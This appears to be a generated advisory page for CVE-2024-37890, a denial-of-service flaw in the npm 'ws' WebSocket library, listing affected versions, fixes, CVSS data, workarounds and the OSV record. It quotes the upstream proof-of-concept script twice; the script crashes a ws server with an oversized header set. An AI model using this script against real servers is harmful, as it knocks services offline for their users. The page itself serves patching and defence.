CVE-2024-37890: Ws Denial of Service Vulnerability

Q: What is CVE-2024-37890?

CVE-2024-37890 is a security vulnerability in Ws involving ws affected by a DoS when handling a request with many HTTP headers under CWE-476: NULL Pointer Dereference.

Q: Which Ws versions are affected?

Affected versions include releases prior to 5.2.4, 6.2.3, 7.5.10, 8.17.1 across affected packages: ws.

Q: What version fixes CVE-2024-37890?

Upgrading to 5.2.4, 6.2.3, 7.5.10, 8.17.1 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is ws affected?

Yes, ws is affected in releases prior to 5.2.4, 6.2.3, 7.5.10, 8.17.1. Upgrade your dependency to 5.2.4, 6.2.3, 7.5.10, 8.17.1 or later.

Q: What is the CVSS score of CVE-2024-37890?

CVE-2024-37890 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

Q: What CWE is associated with CVE-2024-37890?

CVE-2024-37890 is classified under CWE-476: NULL Pointer Dereference (The product dereferences a pointer that it expects to be valid but is NULL.).

Q: How can I check npm dependencies for CVE-2024-37890?

Run the dependency tree command: 'npm ls ws'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

HIGH

Advisory Identifier: GHSA-3h5v-q93c-6h6q

CVSS 7.5

CWE-476

Published 2024-06-17

Advisory Summary

CVE-2024-37890 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-476: NULL Pointer Dereference) affecting Ws libraries in the npm ecosystem. The issue involves ws affected by a dos when handling a request with many http headers. Remediation is available by upgrading affected packages to version 5.2.4, 6.2.3, 7.5.10, 8.17.1.

CVE-2024-37890 at a Glance

CVE Identifier CVE-2024-37890

GHSA Identifier GHSA-3h5v-q93c-6h6q

Severity HIGH

CVSS v3.1 Base Score 7.5

CWE Classification CWE-476: NULL Pointer Dereference

Affected Product Ws

Package Ecosystem npm

Published Date 2024-06-17

Last Updated 2026-05-13

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)

Attack Complexity Low (AC:L)

Privileges Required None (PR:N)

User Interaction None (UI:N)

Scope Unchanged (S:U)

Confidentiality None (C:N)

Integrity None (I:N)

Availability High (A:H)

How to Fix CVE-2024-37890

To remediate this vulnerability, upgrade all affected Ws dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ws fixed: 5.2.4

npm install ws@5.2.4

ws fixed: 6.2.3

npm install ws@6.2.3

ws fixed: 7.5.10

npm install ws@7.5.10

ws fixed: 8.17.1

npm install ws@8.17.1

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls ws

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-37890, inspect your project dependencies using npm:

npm ls ws

Analyze the terminal output to locate any version of Ws in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.2.4), your application is affected.

Note: The npm ls ws command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-476: NULL Pointer Dereference, where the product dereferences a pointer that it expects to be valid but is null. In Ws, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact A request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ### Patches The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e). ### Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. ### Credits The vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230. ### References - https://github.com/advisories/GHSA-3h5v-q93c-6h6q - https://www.cve.org/CVERecord?id=CVE-2024-37890 - https://github.com/websockets/ws/issues/2230 - https://github.com/websockets/ws/pull/2231 [`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount

CVE-2024-37890 Affected Ws Versions

4 component(s)

Fixed Versions:

5.2.46.2.37.5.108.17.1

Product / Package	Ecosystem	Affected Versions	Fixed Version
ws npm/ws	npm	≥ 2.1.0 < 5.2.4	5.2.4
ws npm/ws	npm	≥ 6.0.0 < 6.2.3	6.2.3
ws npm/ws	npm	≥ 7.0.0 < 7.5.10	7.5.10
ws npm/ws	npm	≥ 8.0.0 < 8.17.1	8.17.1

References

GitHub Advisory / Wiki ADVISORY

https://github.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q

Ws Source Repository REPOSITORY

https://github.com/websockets/ws/issues/2230

Ws Source Repository REPOSITORY

https://github.com/websockets/ws/pull/2231

Security Fix Commit FIX COMMIT

https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f

Security Fix Commit FIX COMMIT

https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e

Security Fix Commit FIX COMMIT

https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c

Security Fix Commit FIX COMMIT

https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63

Ws Source Repository REPOSITORY

https://github.com/websockets/ws

Frequently Asked Questions

What is CVE-2024-37890?

CVE-2024-37890 is a security vulnerability in Ws involving ws affected by a DoS when handling a request with many HTTP headers under CWE-476: NULL Pointer Dereference.

Which Ws versions are affected?

Affected versions include releases prior to 5.2.4, 6.2.3, 7.5.10, 8.17.1 across affected packages: ws.

What version fixes CVE-2024-37890?

Upgrading to 5.2.4, 6.2.3, 7.5.10, 8.17.1 (or the latest patched release for your respective branch) resolves the vulnerability.

Is ws affected?

Yes, ws is affected in releases prior to 5.2.4, 6.2.3, 7.5.10, 8.17.1. Upgrade your dependency to 5.2.4, 6.2.3, 7.5.10, 8.17.1 or later.

What is the CVSS score of CVE-2024-37890?

CVE-2024-37890 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

What CWE is associated with CVE-2024-37890?

CVE-2024-37890 is classified under CWE-476: NULL Pointer Dereference (The product dereferences a pointer that it expects to be valid but is NULL.).

How can I check npm dependencies for CVE-2024-37890?

Run the dependency tree command: 'npm ls ws'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3h5v-q93c-6h6q",
  "modified" : "2026-05-13T15:25:49Z",
  "published" : "2024-06-17T19:09:10Z",
  "aliases" : [ "CVE-2024-37890" ],
  "summary" : "ws affected by a DoS when handling a request with many HTTP headers",
  "details" : "### Impact\n\nA request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server.\n\n### Proof of concept\n\n```js\nconst http = require('http');\nconst WebSocket = require('ws');\n\nconst wss = new WebSocket.Server({ port: 0 }, function () {\n  const chars = \"!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~\".split('');\n  const headers = {};\n  let count = 0;\n\n  for (let i = 0; i < chars.length; i++) {\n    if (count === 2000) break;\n\n    for (let j = 0; j < chars.length; j++) {\n      const key = chars[i] + chars[j];\n      headers[key] = 'x';\n\n      if (++count === 2000) break;\n    }\n  }\n\n  headers.Connection = 'Upgrade';\n  headers.Upgrade = 'websocket';\n  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';\n  headers['Sec-WebSocket-Version'] = '13';\n\n  const request = http.request({\n    headers: headers,\n    host: '127.0.0.1',\n    port: wss.address().port\n  });\n\n  request.end();\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).\n\n### Workarounds\n\nIn vulnerable versions of ws, the issue can be mitigated in the following ways:\n\n1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent.\n2. Set `server.maxHeadersCount` to `0` so that no limit is applied.\n\n### Credits\n\nThe vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230.\n\n### References\n\n- https://github.com/advisories/GHSA-3h5v-q93c-6h6q\n- https://www.cve.org/CVERecord?id=CVE-2024-37890\n- https://github.com/websockets/ws/issues/2230\n- https://github.com/websockets/ws/pull/2231\n\n[`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize\n[`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener\n[`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.1.0"
      }, {
        "fixed" : "5.2.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0.0"
      }, {
        "fixed" : "6.2.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "7.0.0"
      }, {
        "fixed" : "7.5.10"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "8.17.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/issues/2230"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/pull/2231"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/websockets/ws"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-476" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-06-17T19:09:10Z",
    "nvd_published_at" : "2024-06-17T20:15:13Z"
  }
}

CVSS V3

7.5 HIGH

Attack Vector Network (AV:N)

Attack Complexity Low (AC:L)

Privileges Required None (PR:N)

User Interaction None (UI:N)

Scope Unchanged (S:U)

Confidentiality None (C:N)

Integrity None (I:N)

Availability High (A:H)

Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Advisory Metadata

Source ID: GHSA-3h5v-q93c-6h6q
Schema Version: 1.4.0
Published: 2024-06-17 19:09
Last Modified: 2026-05-13 15:25
Database Record File: advisories/github-reviewed/2024/06/GHSA-3h5v-q93c-6h6q/GHSA-3h5v-q93c-6h6q.json